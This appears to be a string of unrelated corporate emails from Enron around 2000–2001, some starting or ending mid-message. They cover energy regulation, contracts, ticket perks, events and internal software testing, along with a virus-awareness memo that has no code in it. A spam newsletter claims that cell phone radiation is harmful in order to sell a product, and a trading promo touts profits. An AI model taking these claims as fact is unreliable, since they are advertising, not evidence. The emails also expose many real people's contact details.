energy customer management (ECM) solutions. Paul Grey, Chief Technology=20

THE INTERNET AND THE VELOCITY FACTOR. Greater price transparency, faster=20
execution, reduced transaction costs, increased number and frequency of=20
transactions and increased specialization are just some of the changes to=
=20
energy markets wrought by the web, and it's just beginning. Implecations of=
=20
the internet for energy markets. E. Russell "Rusty" Braziel, Chairman and=
=20

Access online at: http://www.dtn.com/dtnonline/dtnergy/pma/pma.gas.quotes.c=
fm

A daily visit to "The PMA Jobs Site" at=20
http://www.powermarketers.com/pmajobs.htm connects you to a wealth of power=
=20
PMA ONLINE MAGAZINE: Access online at: http://www.retailenergy.com/pmamag.h=
tm

News releases may be submitted to The PowerMarketers.com Power Report via=
=20

The PowerMarketers.com Power Report is a complimentary service of The Power=
=20
Marketing Association. Headlines are copyrighted by their respective=20

Subscriptions to the PowerMarketers.com Power Report are free - you will=20
never be charged. You may redistribute this e-mail without change. You may=
=20
not redistribute stories. To register for a free subscription, point your=
=20

TO UNSUBSCRIBE OR CHANGE your subscription, (1) point your browser to "The=
=20
PMA OnLine Power Report" subscription services form at=20

OR

(2) , send a message to pma@powermarketers.com. Include "unsubscribe" in th=
e=20

Let's have it!  We want your questions about anything and everything surrounding Sooner sports.  We'll take your questions such as, 'When is Andre Woolfolk coming back?' and 'What happens to OU's BCS rating if Colorado beats Nebraska?' and Sooners Illustrated will answer your questions and send them back to everyone through our email list!

Injuries, recruiting, bowl possibilities: the list is endless.  We'll find the answers.

All you have to do is send your questions into asksi@soonersillustrated.com to have the answers you are aching to know. Include your name (first, last, or whatever) and your location and we might even print your questions in Sooners Illustrated's magazine.

We look forward to your questions!

Thanks and Boomer Sooner!,

Sooners Illustrated

Energy Operations has two sets of season tickets for Astros games this 
season.  One set is four tickets in the field box level, and the other set is 
two tickets in the terrace level.  I have also purchased one parking spot in 
a lot that is a couple of blocks from the stadium.  I have divided the 
tickets among you, with my husband's help.  He identified "good games" (i.e. 
teams that everyone likes to see), and those are distributed equally across 
my direct reports.  Tickets for the other games have been distributed based 
your percentage of Energy Operations employees.  For most games, you will 
receive all six tickets.  You can use these tickets for yourself and for a 
small reward for a job well done by someone in your group.  The parking 
information will accompany the group of four field box tickets.  Patti is 
including a map of downtown with the parking lot pinpointed.  Your tickets 
will be distributed to you this week.  I hope that you and your staff will 
enjoy these.  

I also received over 100 tickets from Cliff Baxter, Greg Whalley and Dave 
Delainey for the exhibition game on Saturday, April 1.  I have chosen to 
distribute two tickets a piece to all directors and managers in Energy 
Operations who are not my direct reports.  SInce you will have first call on 
the season tickets going to your group, I thought that it would be nice to 
make these tickets available to the next tier of leadership.  I wanted to 
make you aware of this before these are distributed tomorrow.  

Finally, I have purchased a block of tickets for two upcoming games, one a 
weekday afternoon and one a weekend.  I will let you know these dates soon, 
as I would like for my direct report group to join me at these games. 

Kramer,

I'm going to sunny Mexico on April 16th but we should get together for a beer 
before you go to Banff on the Friday.

Herc

As you are aware, there have recently been a number of virus attacks released and spread across the Internet. Although Enron continually readdresses and updates its virus protection procedures, new viruses will continue to be released and pose a threat to Enron's computing environment. Therefore, it is very important that all Enron employees understand their responsibilities in helping Enron stay virus free. 
If you receive a file via Email or any other means and you are unfamiliar with the sender or the purpose of the file, please do not automatically open/launch the file. One of the key elements of a virus attack is the innocent nature of its delivery.
Viruses can cause a significant amount of damage, including data loss and service outage. Viruses such as the Melissa, ILOVEYOU, AnnaKournikova, and the recent Nimda virus, caused organizations billions of dollars. Sometimes new viruses can breach the environment before the virus scanning software has been updated to detect & quarantine them. 
Every employee in the Enron organization has a responsibility to keep our computing environment virus-free.
If you believe you have a file that looks suspicious, delete it or contact your Resolution Center to obtain their assistance.
North America Resolution Center - x31411	
ETS Solution Center - x54745 
European Resolution Center - x36777
EES Help Desk - x 39797 
Prevention & Detection = PROTECTION! 

To:

Andres Almazan
Don Chew
John Freeman
Geoge Gau
Bob Marchesi
John Martin
Vojislav Maksimovic
Laura Starks
Art Warga
Michael Weisbach

Dear Friends

Attached is some registration and logistical information relating to the
upcoming corporate finance conference on May 4-5 in Houston.  If you have
any questions, please don't hesitate to contact Sheridan, Bob or myself.

The program is shaping up nicely, however one of us may draft to serve in
some small, but helpful capacity.

Sheridan Titman, 512.232.2787, titman@mail.utexas.edu ,
Bob Parrino at parrino@mail.utexas.edu
Dave Ikenberry, 713.348.5385 , daveike@rice.edu

As of today, the list of firms sending a representative include:
Pfizer
Pacificare
Cooper Industries
RadioShack
Pepsi
Delphi Automotive
Microsoft
Whirlpool
Enron
Johnson Controls
Airgas
Sara Lee
Dell
Conoco

 - particpate registation details.doc

---------------------- Forwarded by Larry F Campbell/NA/Enron on 09/14/2000 

Jane James <JJames@NUI.com> on 09/13/2000 04:53:29 PM
To: arcadiang@aol.com, awinans@njresources.com, bonnie_russ@fpl.com, 
cdonohue@worldnet.att.net, ceine@aol.com, cfurtado@beaconenergy.com, 
chafferty@eprime.com, chris_prejean@perrygas.com, clombardi@advanix.net, 
cnbbayou@flash.net, cruikshankk@conedsolutions.com, 
cxcoulter@duke-energy.com, Dan Diehl <ddiehl@NUI.com>, 
debra_g_ellis@reliantenergy.com, dsweigart@sithe.com, dtierney@njng.com, 
dwilliams@volunteer-nrg.com, end.nat@cwix.com, etaphouse@scana.com, 
gasmaster@worldnet.att.net, handsma@selectenergy.com, 
hvandore@statoilenergy.com, jbrown@beaconenergy.com, 
jgarofalow@castlepower.com, jlieberman@allenergy.com, jpwright@papl.com, 
jrising@pepco-services.com, jwoodruff@gasmark.com, 
knovsek@columbiaenergy.com, lcampbel@enron.com, linda.Kresge@conectiv.com, 
ljudge@txuenergy.com, lpohlman@nfrinc.com, lsmorris@metromediaenergy.com, 
lverona@hess.com, melanie.plemons@pgees.com, Michael McCabe 
<mmccabe@NUI.com>, mmbtu@ix.netcom.com, mmbtus@ix.netcom.com, 
Naenergy@cecomet.net, nau87@aol.com, orph1@aol.com, pbaratz@totalenrg.com, 
richard.bensen@pseg.com, sburrus@spragueenergy.com, 
stephanie_stehling@perrygas.com, woodenergy@aol.com
cc: Gary Marmo <gmarmo@NUI.com>, Kim Verran <kverran@NUI.com>, Donna Becker 
<DBecker@NUI.com>, Jim Nagle <JNagle@NUI.com>, Amey Mesko <amesko@NUI.com> 

Subject: Marketer Distribution Letter

September 13, 2000

Attached please find a letter concerning changes in our distribution on the
NUI/Elizabethtown Gas system.  If you are not the proper person to receive
this information, please forward it to that person and notify me so that I
may
update my records.  Thank you.

   <<E-Mail Marketer Distribution Ltr. 9-8-00.doc>>

Jane James
NUI Elizabethtown Gas Company
908-289-5000 X5745

Never Underestimate Initiative

 - E-Mail Marketer Distribution Ltr. 9-8-00.doc

C. Kay Mann

C. Kay Mann is a native of Fort Worth, Texas.  She graduated from the=20
University of Houston with a bachelor of arts degree and a jurisdoctorate=
=20
degree.  She began her practice as a trial lawyer with Hays, McConn, Rice &=
=20
Pickering, where she was elected partner in 1991.  In 1992 she joined Fish=
=20
Engineering & Construction as General Counsel, later becoming Vice Presiden=
t.=20
Ms. Mann joined Enron in 1999 as senior counsel for Enron Engineering &=20
Construction Company (EECC). During her tenure at Fish Engineering and EECC=
,=20
Ms. Mann=01,s practice included project development and financings in North=
,=20
South and Central America and Europe. Since early 2000, Ms. Mann has=20
practiced in the Enron Wholesale Services legal group, focusing on=20
power-related transactions in the United States.

fyi
---------------------- Forwarded by Kay Mann/Corp/Enron on 08/23/2000 11:55 

John.Normand@enron.com@enron.com on 08/23/2000 11:47:29 AM
Sent by: Arlene.Chapman@enron.com
To: Mitch.Robinson@enron.com, Kay.Mann@enron.com, 
John.Schwartzenburg@enron.com, Scott.Dieball@enron.com, Bob.Greene@enron.com, 
Dennis.Alexander@enron.com, Brian.D.Barto@enron.com, Gavin.Gaul@enron.com, 
Mark.Dobler@enron.com, Ross.Newlin@enron.com
cc:  

Subject: Invitation - Westinghouse/Gleason iss (08/24/2000 12:30:00 PM CDT)

  (superscript: New meeting request from John Normand)                      
                                                                            
                08/24/2000 12:30 PM Local Time                              
                08/24/2000 02:00 PM Local Time                              
                                                                            
  Title:        Westinghouse/Gleason issues CR#5C1 - Lunch served           
  (J.Normand, M.Robinson, K.Mann, J.Schwartzenburg, S.Dieball, B.Greene,    
  D.Alexander, B.Barto, G.Gaul, M.Dobler, R.Newlin))                        
  Location:     -No room information available-                             
                                                                            
  Chair:        John Normand/ENRON_DEVELOPMENT                              
                                                                            
  To (required):   Mitch Robinson/Corp/Enron                                
  cc (optional):                                                            
                                                                            
     John Normand/ENRON_DEVELOPMENT wants you to attend a meeting.

On        08/24/2000 12:30:00 PM CDT
For       1 hour 30 minutes
With:          John Normand/ENRON_DEVELOPMENT (Chairperson)
          Mitch Robinson/Corp/Enron (Invited)
          Kay Mann/Corp/Enron (Invited)
          John Schwartzenburg/ENRON_DEVELOPMENT (Invited)
          Scott Dieball/ENRON_DEVELOPMENT (Invited)
          Bob Greene/ENRON_DEVELOPMENT (Invited)
          Dennis Alexander/ENRON_DEVELOPMENT (Invited)
          Brian D Barto/ENRON_DEVELOPMENT (Invited)
          Gavin Gaul/ENRON_DEVELOPMENT (Invited)
          Mark Dobler/NA/Enron (Invited)
          Ross Newlin/ENRON_DEVELOPMENT (Invited)

   Westinghouse/Gleason issues CR#5C1 - Lunch served (J.Normand,
M.Robinson, K.Mann, J.Schwartzenburg, S.Dieball, B.Greene, D.Alexander,
B.Barto, G.Gaul, M.Dobler, R.Newlin))

Cheryl,
Based upon our discussion to day,  I have updated our list.
Thanks. Sheila

See the email from Donna Fulton below.  Donna joined Government Affairs a 
couple of months ago.  She was with Enron - GPG for 12 years doing gas 
regulatory work, so she's an expert in FERC matters but is getting up to 
speed on electric matters.  Please feel free to call her in addition to Joe 
or me on FERC regulatory matters.

Also, the Cal PX filed at FERC on August 22 its proposal to implement a $350 
price cap.  Interventions are due on September 12.  A copy of the filing 
(Imaging Format) and FERC's notice are attached.  

We should discuss what position we want to take, if any, in response to the 
Cal PX's filing.

Sarah

---------------------- Forwarded by Sarah Novosel/Corp/Enron on 08/30/2000 
09:56 AM ---------------------------

Donna Fulton
08/30/2000 08:51 AM

cc:  

Subject: California ISO Ten-minute market

FYI - Attached is the FERC notice of Cal ISO's filing to implement ten-minute 
markets effective September 1, 2000.  Do you think there is any interest in 
our participation/intervention?

----- Forwarded by Dan J Hyvl/HOU/ECT on 06/14/2001 09:08 AM -----

	Dan J Hyvl
	06/14/2001 09:08 AM
		 
		 To: Stacy E Dickson/Enron@EnronXGate
		 cc: 
		 Subject: confirm

can you send the confirm to me.  It didn't come my way.

Daily-Blessings
http://www.daily-blessings.com/difference.htm

The Collar
http://www.daily-blessings.com/cont88.htm

Are you working on crafts or gifts for Christmas?  One of my favorite offline 
stores for craft and homemade gift supplies is JoAnn's.  And now they offer 
an online store that I can shop right from home!!  And they have a great 
promotional offer that you should definitely take advantage of...check it out 
at the link below

http://www.daily-blessings.com/cjjoann.htm

Are you looking for a gift for someone who has everything?  or at least a 
cell phone?  Did you know that cell phones give off harmful radiation?  These 
folks offer a way to make your mobile phone safer to use.  Buy one for 
yourself...and put them on your list for a gift this gift giving season!

http://www.daily-blessings.com/cjcellphones.htm

OR...

will do.

From: 	Shapiro, Richard  
Sent:	Monday, November 12, 2001 5:35 PM

submit it now - thanks.

Sent:	Monday, November 12, 2001 5:16 PM
Subject:	

You think I should submit the reimbursement now, before the semester ends, just to get it in the door?

They should reserve a place for Fessler at the same place Davis deserves to go--history's trash heap.  You know that Fessler works with Klauberg, right?  Some people you just can't get rid of....

Best,
Jeff

It is Father's Day and we will do what you want. If you want to go there, 
that's great.  I'm happy to tell Tom, his wife and all the world that what we 
do that weekend is 100% up to you.  

It sounds like he has the impression that I'm the hold up.  

Kay

"Neil Mann" <nmann@erac.com> on 06/06/2001 08:05:01 AM
To: "C. Kay Mann \(E-mail\)" <Kay.Mann@Enron.com>
cc:  

Subject: FW: (no subject)

This is for the Father's Day week. I told Tom you were probably going to NY 
for a business trip. I don't see any way around not giving him the home 
number. 
 
From: Tom Vandivier [mailto:tomvandivier@ev1.net]
Sent: Tuesday, June 05, 2001 5:45 PM
To: Neil Mann

Hi Neil;
Tried to get your number at home so Sonja could call Kay to reinforce the 
invite to come to the ranch.  It seems to be unlisted.  If you will send me 
the number I will turn Sonja loose on her.
Tom

youre a goofball, when are you coming in

From: Nelson, Michelle 
Sent: Tuesday, November 20, 2001 8:27 AM
To: Maggi, Mike
Subject: 

See, it's cold enough for hot chocolate!  Yummy!

---------------------- Forwarded by Claire Broido/HOU/ECT on 02/25/2000 01:10 

Amelia Alder@ENRON
02/15/2000 02:14 PM
To: Amelia Alder/OTS/Enron@ENRON
cc:  (bcc: Claire Broido/HOU/ECT)
Subject: MS150 Registration

Just to clarify, if you are an Enron Cycling Club member, Enron will pay for 
your registration.  Contact me or Stephanie Strong and we'll get you signed 
up.  For non-Enron people who want to be on the MS150 Enron team, they can do 
so by registering themselves and listing "Enron" as their team.  However, 
they're not officially on the Enron team until we are notified, and we must 
have their email address and phone number, also exact spelling of the name as 
it appeared on the registration, or fax the registration form to 713-345-5755.

HERE'S A MESSAGE FROM THE MS SOCIETY:

Are you registered for the 2000 ISUZU MS 150 Bike Tour presented by The Home
Depot yet?

If not, then please join us for a registration Happy Hour this Thursday,
February 17 from 4:00 to 8:00 p.m. at the Hooters Restaurant located at 99
Woodlake Square Houston, TX 77063 . Click on the address for a map.

We're happy to announce that Hooters will again provide dinner at the new
finish line in Austin on Sunday, April 16. Applied Materials, located on
Highway 290 in Austin, will host the finish line this year. Look for their
team on the Tour led by Ken Haase. Maps of the route can be found online at
http://www.ms150.org/maps.htm and in the rider manual.

If you can't make it this Thursday, then join us at one of these other
Hooters locations:

Hooters Anderson Lane (Austin) - 5:30 to 8:00 on Tuesday, February 22
Hooters FM 1960 West - 4:00 to 8:00 on Thursday, February 24
Hooters Round Rock (Austin) - 5:30 to 8:00 on Tuesday, February 29
Hooters Riverside (Downtown Austin) - 5:30 to 8:00 on Tuesday, March 7
Hooters NASA - 4:00 to 8:00 on Thursday, March 9
Hooters Mangum - 4:00 to 8:00 on Thursday, March 16

For more information, please visit our official website: www.ms150.org where
you can register online, sign-up for online donations, and sign-up to
volunteer. It's fast, easy, and secure! If you're not planning to ride, then
join us as a volunteer. Check out the volunteer sign-up section on the
website where you can choose volunteer area(s) of your choice. As of
February 14, 492 people have registered online, 264 people have made online
donations in the amount of $9,886, 36 people have signed up to volunteer,
and 525 have signed up on our email subscription list. Click here to sign-up
for online donations: http://www.ms150.org/contribute.htm

Also, check out the Discussion Groups in the "Talk to" section of our
website. There are 3 different Discussion Groups where you can post
questions, suggestions, tips, advice, or comments about the bike tour.
Whether you're looking for tips on how to train for the ride or how to raise
money, you'll get your answers here. Click here to start talking:
http://www.ms150.org/talk2.htm

Thanks for supporting the National MS Society!

*************************************

The National Multiple Sclerosis Society supports more MS research and serves
more people with MS than any national voluntary MS organization in the
world.

The National Multiple Sclerosis Society ... one thing people with MS can
count on.

Attached is a draft of Enron's protest of PG&E Advice Filing 2010-E which
replaces Schedule PX with Schedule E-Gen.  The protest follows the same
lines as our protest of SCE's advice filing  last week. The only real
difference is that PG&E would apparently give a credit which reflects all of
a bundled customers generation costs -- i.e., retained generation (including
QF and purchase power contracts), ISO charges and DWR costs. Therefore we
did not have to include a section advocating that as the back up to our
market based credit.

The protest is due tomorrow (May 1).  Please provide all comments as soon as
possible.

 <<X24055.DOC>>

 - X24055.DOC

I thought the call on whether a contract is rejected was an economic call and not a product call.  If this is not the case then could we be forced to swallow the other discount off tariff contracts we  intend to reject?

Further, we need to know what the revenue is against this purchase to make a call on the economics.  

Richard - Do you have the Patagonia Contract? And/or any of the other green power transactions that EES has entered into with customer's?

Sent:	Thursday, January 17, 2002 12:50 PM
To:	Blachman, Jeremy; Frazier, Lamar; Schwarz, Angela; Dasovich, Jeff; Steffes, James D.
Cc:	Merril, Deborah D.; Ring, Richard; ','
Subject:	RE: Green Power Partners

Sounds like the economic justification for rejection is clear.  However, we need to be sure that we are not going to keep any customers where we have a contractual requirement to serve green power (Fetzer; Patagonia).  If we are comfortable that we are not, I think we can reject.

MDS

From: 	Blachman, Jeremy  
Sent:	Thursday, January 17, 2002 12:47 PM
To:	Smith, Mike D.; Frazier, Lamar; Schwarz, Angela; Dasovich, Jeff; Steffes, James D.
Cc:	Merril, Deborah D.
Subject:	FW: Green Power Partners

take a look at this. Unless there is a customer or regulatory reason to keep this, PPA, it would seem to me that we would want to reject this contract.

Thoughts/comments so we can proceed.

Jeremy

From: 	O'Neil, Murray P.  
Sent:	Thursday, January 17, 2002 11:16 AM
To:	Blachman, Jeremy

FYI...  Hope this helps in your decision making. - MO

From: 	Perry, Todd  
Sent:	Wednesday, January 16, 2002 5:10 PM
To:	O'Neil, Murray P.

Murry,

Our forward curves show SP-15 power at $26.57/MWh for the period 02/01/2002-12/31/2002 (note that this does not include the discount for unit-contingency that usually accompanies wind power).  Green tags trade in the market for about $1.50/MWh.  Under the "Green Tickets Sales Agreement" it appears that EES has agreed to pay $39/MWh minus the market price of power, which is approximately $12/MWh for Green Tickets using our forward curves.

Let me know if you need any additional information.

Todd

Sent:	Wednesday, January 16, 2002 2:15 PM
To:	Blachman, Jeremy; Smith, Mike D.; Perry, Todd; Richter, Jeff

Attached you will find two agreements EES has with ENRON Wind. 

1- Green Ticket Purchase Sale Agreement (PPA)
2- Scheduling Coordinator Service Agreement

With EES & ENA bankruptcy and the fact that Enron Wind has not been paid for the generation back to the month of November through current, Enron Wind is attempting to move their needs to APX for SC Services.  I also think they were looking for someone else to purchase their energy.  

I put a temporary stop on their actions but we are going to need to review these contracts to determine if we want to continue operating under them.

Please let me know your thoughts as soon as possible.

Thanks - MO

From: 	Weatherspoon, Patricia  
Sent:	Tuesday, January 15, 2002 1:47 PM

aka Enron Wind.

From: 	Choate, Chris  
Sent:	Tuesday, January 15, 2002 1:39 PM
To:	Weatherspoon, Patricia
Subject:	Green Power Partners

 << File: Green Tkt Sales Agrmnt_Green_Pwr_Prtnrs.pdf >>  << File: Green Tkt Sched Agrmnt_Green_Pwr_Prtnrs.pdf >> 

Chris Choate
(713) 853-7370

When: Thursday, June 14, 2001 2:00 PM-4:00 PM (GMT-06:00) Central Time (US & 
Canada).
Where: EB2601

Refreshments will be served.

If you have any questions, please call Kendra @ x5-8981.

Ivan-

I put the files in  O\portland\fundamentals\westgas\new folder(2).  Let me 
know if you have any questions.

Matt
3-7176

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Dear Vince & Grant,

Thanks very much for the offer to go to Houston as a Manager to work with 
Tanya Tamarchenko on VAR and credit risk within the Houston Research Group, 
as we discussed on the phone yesterday.  I felt that it would be useful to 
bring Melanie Doyle, my HR rep, into the equation.  I met Melanie this 
morning to discuss the issues with respect to taking up the offer in 
Houston.  I explained that the interest for this opportunity is mutual, mine 
from a career progression perspective and Houston Research's to fill an 
urgent need.  Melanie, having had experience with these transfers before, has 
kindly agreed to help out from an HR perspective, probably involving some of 
the London/Houston team that are usually responsible for these situations.  I 
expect that you may receive a call from either Melanie or a foreign 
assignment representative in the near future.

I would like to re-iterate my interest in the opportunity, but would like to 
make a counter-proposal for the form of the contract; I would like to make 
the suggestion that we make this opportunity a one-year assignment working 
with Tanya, and then re-evaluate the situation at the end of the year in 
terms a new role for me in Houston thereafter, subject to mutual agreement.  
The alternative situation of resigning from Enron Europe and re-joining Enron 
Corp is too dramatic and requires me to "burn bridges" and my return to Enron 
Europe would be difficult.  Also, I would lose the valuable support 
structures available to me in London.  The amount of any fixed costs 
(flights, modest cargo, a few months of mortgage carrying cost) are entirely 
reasonable, not excessive given my single status and not so great that they 
justify making the contract a three year (local) one.

I would expect that on the basis of almost 3 1/2 years solid experience & 
value-added at Enron Europe, the value of several million pounds I have 
identified & justified to external auditors for Enron Europe this year and an 
"Excellent" rating (my fourth making my 3 1/2 yr average rating also 
"Excellent"), I could reasonably be expected to justify a fair deal (i.e. my 
existing Enron Europe salary & benefits package plus a reasonable one-off 
allowance to cover unavoidable additional personal expenses).

Regards & thanks again for the opportunity,

Anjam
x35383

This needs to be "TurboParked" (parties changed, GFinance advised).  Is there 
any special deal on payment for the change order?

I'll figure out how to change the signature lines, etc.

Kay

Ben F Jacoby@ECT
01/22/2001 01:38 PM
To: Chris Booth/NA/Enron@Enron, Fred Mitro/HOU/ECT@ECT

Subject: Blue Dog Change Order

Chris:
 
Are we already paying GE for the change order? Is GE pushing to have this 
resolved? Pending input from Kay, I would like to hold off documenting it 
until we deal with the contract assignment and ultimate disposition of the 
unit.

Please follow up with Kay.

Thanks,

Ben

---------------------- Forwarded by Ben Jacoby/HOU/ECT on 01/22/2001 11:43 AM 

Renee Alfaro@ENRON_DEVELOPMENT
01/22/2001 12:19 PM
To: Chris Booth/NA/Enron@Enron
cc: Ben Jacoby/HOU/ECT@ECT, Matthew Tezyk/ENRON_DEVELOPMENT@Enron_Development 

Chris,

On behalf of Matt Tezyk, please find attached below the Blue Dog Change Order 
for ENA's signature.  This had fallen through the cracks and Matt said that 
you would be handling it for me.  Thank you very much.

Once ENA has signed off on two (2) originals of the Change Order, you may 
return them to me at 3AC 712A.  I will then forward them to Jeffrey Darst for 
his signature.  Copies of the fully executed change order will be distributed 
upon return from GE.

Renee Alfaro
Phone: 713-646-7281
Fax: 713-646-6158
Email: ralfaro@enron.com

Employee Name: Cynthia Mann
Report Name:   11/29/01 Report
Report Date:   11/29/01
Report ID:     0B780185E4CE11D5928B
Submitted On:  11/29/01

You are only allowed 2 reports with receipts outstanding.  Your expense reports will not be paid until you meet this requirement.

From: Heizenrader, Tim 
Sent: Tuesday, September 25, 2001 1:33 PM
To: Lavorato, John; Allen, Phillip K.; Grigsby, Mike; Zufferli, John
Cc: Belden, Tim; Swerzbin, Mike; Richey, Cooper
Subject: Western Briefing Charts

Charts for today's presentation are attached:

	Russell on call

Date:		8/21/2001

FYI

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/19/2001 
10:27 AM ---------------------------

edward kao <EKao@UH.EDU> on 04/18/2001 01:55:37 PM
cc:  
Subject: Re: Test

Dear Vince:  The email address of Candice is

    cgkao@mtholyoke.edu

I will email you her phone number at Mount Holyoke this evening.

    Regards

    Ed

On Wed, 18 Apr 2001 vkamins@ect.enron.com wrote:

> Test
>
> Vince
>
>

Jeff,
Just wanted to let you know that David will be in Sacramento on Wednesday @ 1 p.m. to meet with John White.  

Hi Kelly!

David wanted for you to be available to attend this meeting in Sacramento.  I am not sure how long you will be on vacation but, could you please let me know asap if you would be available to attend the meeting with Jeff Dasovich & David Parquet.

The meeting location address is: 
1100 - 11th Street (cross streets: K & L) 
Suite 311 
Sacramento 

Cristina

Sent:	Monday, August 27, 2001 4:10 PM
To:	Zavala, Cristina
Subject:	RE: Meeting with Michael Tribolet for Wednesday, 8/29

thanks.

From: 	Zavala, Cristina  
Sent:	Monday, August 27, 2001 3:27 PM
To:	Dasovich, Jeff; Etringer, Michael
Cc:	Parquet, David

David is in NY and will not be back until Wed.  

Jeff, I did leave David a voicemail with the information for the meeting in Sacramento and I told him to confirm with me if he would be able to attend.  I am still waiting for his confirmation.

CZ

Sent:	Monday, August 27, 2001 10:52 AM
To:	Etringer, Michael; Zavala, Cristina

Dave and I are supposed to be in a meeting in Sacramento with John White at 1 PM in Sacramento.  So the timing may be tight.  Perhaps we could do 4 PM?

Best,
Jeff

From: 	Etringer, Michael  
Sent:	Monday, August 27, 2001 1:24 PM
Cc:	Parquet, David; Dasovich, Jeff
Subject:	Meeting with Michael Tribolet for Wednesday, 8/29

Cristina, I am not sure what either Dave's or Jeff's schedule looks like but wanted to see if either would be available for a meeting  with Michael Tribolet and myself on Wednesday afternoon in SF.  Could you let me know.  It would likely be after 3:30 in the afternoon.

Michael Etringer
West Power Origination
Phone: 503-464-3836
Cellular: 503-701-4516

Systems Trading Update 
6-1-01
 www.thetradingauthority.com 

Emini  Daytrader (The Advisor) - Emini & S&P 500 Daytrading - Went  SHORT at 1256, Hit the 4 point target and exited remaining contracts at  1249.25    +10.75 (per 2 emini's)
 
Bond Daytrader  - Did not trade today
 
Aggressor  - S&P 500 / Emini - Went Short at  1255.00
Level 1 +5.25
Level 2 -3.5
Level 3 -3.5
Level 4 -3.5
Level 5 -3.5
 
SP Select  - Emin/S&P 500 Daytrading - Went SHORT on the open at  258.00
Level 1 +9.00
Level 2 Breakeven
Level 3 Breakeven
 
Pure Greed  - S&P/emini Daytrading (MECHANICAL)- Went Short at  1255.00
Level 1    Breakeven
Level  2    Breakeven
Level  3    Breakeven
 
Pure Greed -  S&P/emini Daytrading (Discretionary) - Went Long at  1255.00
Level 1     -4.0
Level 2     -4.0
Level 3      Breakeven
 
DoubleEdge  - S&P/Emini Daytrading - Did not trade  today
 
New System - New System - New  System***
PowerDaytrade - S&P/Emini  Daytrading -
#1 Went Short at 1253.25, Exited at 1251.25    +2
#2 Went Short at 1252.25, Exited at 1256.00    -3.75
#3 Went Short at 1257.75, Exited at 1258.00    -.25
#4 Went Long at 1258.00, Exited at 1260.00    +2
 
 ***By the current LEADER on the  World Cup Championship of Trading
 
For more information on  PowerDaytrade - go to http://www.thetradingauthority.com/powertrade.htm   or contact Todd Brown at  877-278-0037
 
Position Trader  
Muni Bonds - Sep - Stopped out at 101-21, (Short from  101-17)    +$1125.00
Bonds - Sep - Stopped out at 100-05, (Short from  98-28)    -$1281.25
 
Current Open  Positions
 
Corn - July - Short (3) from 201 /  Last  198.75    +$337.50
Swiss - June - Short from 58.52 / Last  55.76      +$3450.00
Bean Oil - July - Short (3) from 15.02 / Last  15.33    -$558.00
Cocoa - July - Short from 9.74 / Last  9.43        +$310.00
Lean Hogs - June - Short from 68.75 / Last  69.35   -$240.00
Natural Gas - July - Short at 386.00 / Last  393.00    -$700.00
Dollar Index - June - Long from 118.50 / Last   118.99    +$490.00
Wheat - July - Short from 266.25 / Last  270.75   -$675.00
Cotton - July - Short from 40.45 / Last  41.42    -$485.00
 
**SEPTEMBER is the front-month is Bonds,  Ten Years, Muni Bonds, and most of the interest rate  instruments.
 
Next week the currencies will be going  from the June to the SEPTEMBER contract.
 
Have a nice weekend.
 
Please call or email me if you have any  questions
 
Regards, 
 
Matt Nelson
Senior Trader
The Price Futures  Group
C.B.O.T.
141 West Jackson Blvd. Suite 1340A
Chicago, IL  60604mnelson@pricegroup.com 
800-834-7879
312-648-2856
FAX:  312-588-0343
 
Commodity trading involves risk and is not for all  investors.  Past performance is NOT indicative of future results.   Only invest risk capital.

Please see comments showing below in RED
BTW, if you need me to unroute all daily route & term route for June 22, i will be happy to do so.

Thanks for taking your valuable time and help us to test

Regards,
dluu

Sent:	Monday, September 24, 2001 8:13 PM
To:	Asem; Bentley, Corry; Poston, David; Smith, Will; Venkataswami, Vishwanatha
Cc:	Luu, Duong
Subject:	Testing the PSW

Good Evening,

We had agreed to just do a test to see what issues were still outstanding in the PSW and Path Confirmation.

I re-ran all the data for June 22 in the West, here are my findings:

Some little things seem to have changed, I am not sure why they changed

>PreSchedule Workspace - Pressing the Enter key makes the cursor go to the cell to the left, and no other way.  Enter+Shift moves the cursor to the right.  This function is different, the Enter key used to function much like it did in Excel, and I am not sure why this change has been made.
Problem fixed - in STAGE

>Path confrimation - The color Pallette is very different, and inferior. Did that get changed? Any color not on the main pallette is now grainy and difficult to read the path thru.
 also, the color on the path is the chosen color, but several fields show as dark grey no matter what color is chosen.  There also seems to be no pattern to why some cells are grey and some aren't.
We did not change color scheme, however, you can reset the default color by click on grid colors button on the tool bar

>The window for the error report now snaps up very small. It was defaulting to the same size as the PSW. This seems different and inferior.

Functionality bug still to be fixed:

>I routed all of the deals for all the western points, and a spot check still shows that the Physical flag is not showing up properly in Deal Scheduling, although it does show properly in Path Confirmation. I checked many routed deals, not one showed the Physical flag checked.

Pending features that I am not sure of the status on:

>The Real Time discussion that is currently part of Lotus, but spoke with Poston regarding and I believe he is heading up this effort with you all.
We are currently looking to the solution to this problem. If this feature prevent us from going live, i would suggest that Steve Nat, Dave Poston, you and i need to discuss. 

>The Executive report that will replace the AGGSchedVol report and the Daily Excel Summary.
Yes, the new application is available under EnPower launchpad -> Tools -> Executive Report.

In summary:

All other functions seem to be working, and as soon as we nail down the routing one, I can pass the testing off to real time for their final changes before going to production.
It is my intention that once we go to production we have one entire month of parallell testing before the Lotus system is abandoned.

Thanks for your work, let me know when you are ready for me to test again.  I would like to re-test June 22 again if possible.

Thanks,

Cara

On behalf of the Musser -Schoemaker Leadership Lecture Series, I would like
to thank you for speaking at Wharton.  We appreciate you taking time out of
your busy schedule to share some of your knowledge with us.  I have written
an article for the Wharton Journal covering your lecture.  I thought you
might want to take a look at it.  I have attached it as an MS Paint file.

Bryan Gitomer
Wharton '03

 - Jeff Skilling Article.bmp

Hi Steve:
        Attached is the contact list for all the important people at AEP.

Hi Kevin Hyatt!, I am working for Jim Ducote.

Cathy Corbin
AEP - Houston Pipeline Company
1201 Louisiana, 12th Floor
Houston, Texas  77002-5600
832-668-1156

----- Forwarded by Steven J Kean/NA/Enron on 02/28/2001 02:09 PM -----

	02/27/2001 08:30 AM
		 
		 To: Alan Comnes/PDX/ECT@ECT, bhansen@lhom.com, Harry 
Kingerski/NA/Enron@Enron, hgovenar@govadv.com, Janel 
Guerrero/Corp/Enron@Enron, JBennett@GMSSR.com, Jeff Dasovich/NA/Enron@Enron, 
jkradin@marathon-com.com, Joe Hartsoe/Corp/Enron@ENRON, John 
Neslage/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Karen Denne/Corp/Enron@ENRON, 
Linda Robertson/NA/Enron@ENRON, Mark Palmer/Corp/Enron@ENRON, Mary 
Hain/HOU/ECT@ECT, mday@gmssr.com, Paul Kaufman/PDX/ECT@ECT, 
